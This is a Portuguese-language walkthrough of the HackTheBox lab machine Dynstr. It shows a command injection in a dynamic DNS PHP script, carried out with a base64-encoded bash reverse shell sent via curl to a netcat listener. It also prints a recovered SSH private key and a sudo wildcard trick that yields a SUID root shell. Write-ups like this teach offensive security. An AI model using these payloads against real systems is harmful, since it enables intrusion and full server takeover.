8 minutos
HackTheBox - Dynstr
Nesta máquina do HackTheBox o atacante deve explorar uma vulnerabilidade em um servidor de DNS dinâmico. Um script PHP, que é responsável pela atualização dos nomes de subdomínios, recebe um parâmetro via GET e o executa sem nenhum tipo de tratamento, o que permite a um atacante injetar código malicioso em um request e acessar o servidor. O script executa o nsupdate, o que permite ao invasor o registro de um subdomínio no server. Com uma enumeração local se descobre a chave SSH de um usuário que permite acesso remoto ao servidor. O usuário local possui permissões para executar um script com o sudo e desta forma é possível escalar privilégios abusando da vulnerabilidade no script.
Informações da Máquina
IP: 10.10.10.244
Sistema Operacional: Linux
Nível de dificuldade: Medium
Varredura e Enumeração
Port Scan
Iniciando um scan completo em todas as portas TCP abertas com nmap descobrimos apenas três portas: 22 (SSH), 53 (DNS) e 80 (HTTP). O sistema operacional do host é Ubuntu Linux.
# Nmap 7.91 scan initiated Fri Jul 16 22:55:22 2021 as: nmap -v -sV -sC -p 22,53,80 -Pn -oN details.txt 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 16 22:55:41 2021 -- 1 IP address (1 host up) scanned in 18.60 seconds
Enumerando diretórios e arquivos na raíz da aplicação web com gobuster encontramos um diretório chamado nic.
gobuster dir -u http://10.10.10.244 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/nic (Status: 301) [Size: 310] [--> http://10.10.10.244/nic/]
Prosseguindo com o scan neste diretório surge um recurso chamado update.
gobuster dir -u http://10.10.10.244/nic -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/update (Status: 200) [Size: 8]
Webserver
Página inicial.
Inspecionando a página inicial encontramos domínios, que podem ser adicionados ao /etc/hosts para ter acesso através de seu nome. O site informa claramente que se trata de um servidor de DNS dinâmico. Também aparecem credenciais que podem dar acesso a algum recurso no servidor.
Credenciais.
Username: dynadns
Password: sndanyd
Adicionando os domínios ao /etc/hosts.
dyna.htb
dnsalias.htb
dynamicdns.htb
no-ip.htb
Acessando a página web com o resultado do scan recebemos a mensagem “badauth” (não autorizado).
No site do no-ip podemos conferir como funciona a API para efetuar request e obter response.
Exemplo de requisição para atualizar o DNS.
http://username:password@dynupdate.no-ip.com/nic/update?hostname=mytest.example.com&myip=192.0.2.25
Exemplo de header GET request.
GET /nic/update?hostname=mytest.example.com&myip=192.0.2.25 HTTP/1.1
Host: dynupdate.no-ip.com
Authorization: Basic base64-encoded-auth-string
User-Agent: Company DeviceName-Model/FirmwareVersionNumber maintainer-contact@example.com
Analisando o exemplo acima, e levando em conta os domínios encontrados no site Dyna DNS, a credencial deve ser enviada em base64 no request. Desta forma o atacante poderá registrar seu nome de subdomínio junto ao servidor.
Vulnerabilidade
A vulnerabilidade está na requisição para executar o update no servidor DNS, especificamente no parâmetro hostname. Este é o parâmetro que permite o registro de um nome de subdomínio. E de acordo com o response do servidor, não há tratamento do que está sendo enviado e executado internamente.
Exploração
Gerando o payload em base64.
echo ‘bash -i >& /dev/tcp/<ip>/<port> 0>&1’ | base64
Com a hash base64 do comando acima podemos montar o payload para ser injetado no parâmetro hostname pelo BurpSuite.
`echo <base64-hash> | base64 -d | bash`
Para adicionar o código malicioso ao hostname o request foi interceptado pelo BurpSuite. Um ponto importante é utilizar url encode no payload para que os caracteres especiais sejam aceitos pelo servidor.
O request também pode ser efetuado pelo curl.
curl "http://dyna.htb/nic/update?hostname=<payload>dnsalias.no-ip.htb&myip=<tun0-ip>" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"
Abrindo uma porta local para receber o ‘reverse shell’.
rlwrap nc -lvnp 9001
Após o envio do request pelo curl ou BurpSuite recebemos a shell do servidor com o usuário www-data.
Enumerando o diretório ‘nic’ foi encontrado um script PHP chamado “update”, responsável pela atualização de subdomínios no servidor.
Analisando o script PHP podemos visualizar a vulnerabilidade no parâmetro hostname. O payload é rebebido com $_GET[‘hostname’] e armazenado na variável $h. Logo abaixo aparece um $cmd, que é outra variável e monta a string de comando a ser executada no servidor (e junto vai o comando malicioso injetado pelo atacante). Finalmente surge o comando system do PHP que vai executar a string de comando armazenada em $cmd.
Estas são as linhas do script que permitiram a exploração da vulnerabilidade através do curl e BurpSuite.
list($h,$d) = explode(".",$_GET['hostname'],2);
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.$s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key', $retval);
Neste ponto é necessário uma observação em relação ao desenvolvimento de aplicações e scripts. Receber parâmetros e executá-los sem nenhum tipo de tratamento resulta no que está exposto nesta etapa de exploração, uma invasão a um servidor de DNS. Aqui entra o que atualmente se conhece como “desenvolvimento seguro”. Isto é, tratar o que é recebido antes de ser executado. A função de um Pentester é justamente explorar estas vulnerabilidades e se houver algum tipo de tratamento, buscar uma maneira de efetuar o ‘bypass’ utilizando payloads diferentes.
Em busca de credenciais no host encontramos o usuário bindmgr com chaves SSH em seu diretório. Porém, sem permissão para leitura na id_rsa.
No mesmo diretório do usuário encontramos o diretório support-case-C62796521 com o seguinte conteúdo.
Inspecionando os arquivos da pasta foi localizada a chave SSH no arquivo strace-C62796521.txt.
Com o comando echo podemos criar um arquivo ‘key’ que será a chave SSH para acessar remotamente o servidor.
echo "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37
HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\
nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+Nz
B2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMI
fdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPV
Ws\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuP
Y422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV
7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2
vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n" > key
Setando permissões ao arquivo key.
chmod 600 key
Apesar de ter a chave SSH a conexão não pôde ser realizada porque o servidor não aceita conexões vindas de outros hosts que não tenham seus nomes registrados. A informação pode ser conferida no arquivo authorized_keys na pasta oculta .ssh do usuário bindmgr.
cat authorized_keys
Somente nomes com seus IP’s associados e registrados no domínio infra.dyna.htb podem se conectar.
from="*.infra.dyna.htb"
Para registrar um nome ao server foi utilizado o nsupdate, que está sendo usado pelo script update.
A key do domínio infra está localizada em /etc/bind/infra.key.
Exemplo de uso do nsupdate com a key da infra.
nsupdate -k /etc/bind/infra.key
update add haderach.infra.dyna.htb 86400 A 10.10.14.110
update add 110.14.10.10.in-addr.arpa 86400 PTR haderach.infra.dyna.htb
send
No último comando nsupdate acima é registrado o PTR (pointer record ou reverse DNS record) e informado o IP de forma reversa.
Acessando o servidor via SSH após o registro do nome “haderach.infra.dyna.htb” e obtendo a flag no arquivo user.txt.
ssh -i key bindmgr@10.10.10.244
Escalação de Privilégios
O usuário bindmgr possui privilégios de root no script bindmgr.sh com o sudo e sem necessidade de informar a senha do usuário.
Conteúdo do script bindmgr.sh.
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
O script verifica se existe um arquivo .version com um número de versão na pasta atual e copia todos os arquivos da pasta para o diretório named.bindmgr, como informado na linha abaixo.
cp .version * /etc/bind/named.bindmgr/
A forma de escalar privilégios é criar um arquivo .version e copiar o bash (/bin/bash) para a pasta local.
echo 1 > .version
cp /bin/bash .
Dar a este novo bash um bit SUID e preservar o modo neste binário criando um arquivo “–preserve=mode”. Quando o script for executado teremos um binário com privilégios de root em /etc/bind/named.bindmgr/.
chmod +s bash
echo > --preserve=mode
Executando o script com o sudo para copiar o novo bash para o diretório named.bindmgr.
sudo /usr/local/bin/bindmgr.sh
Executando a cópia do bash e obtendo a shell do root.
/etc/bind/named.bindmgr/bash -p
Obtendo a flag no arquivo root.txt.
Neste writeup alguns pontos importantes sobre segurança puderam ser abordados.
- Parâmetros devem ser tratados antes de serem passados para execução por uma aplicação ou script.
- O sudo deve ser usado com a senha do usuário.
- Usar * (asterisco) como argumento em um script pode ser perigoso.
Até a próxima!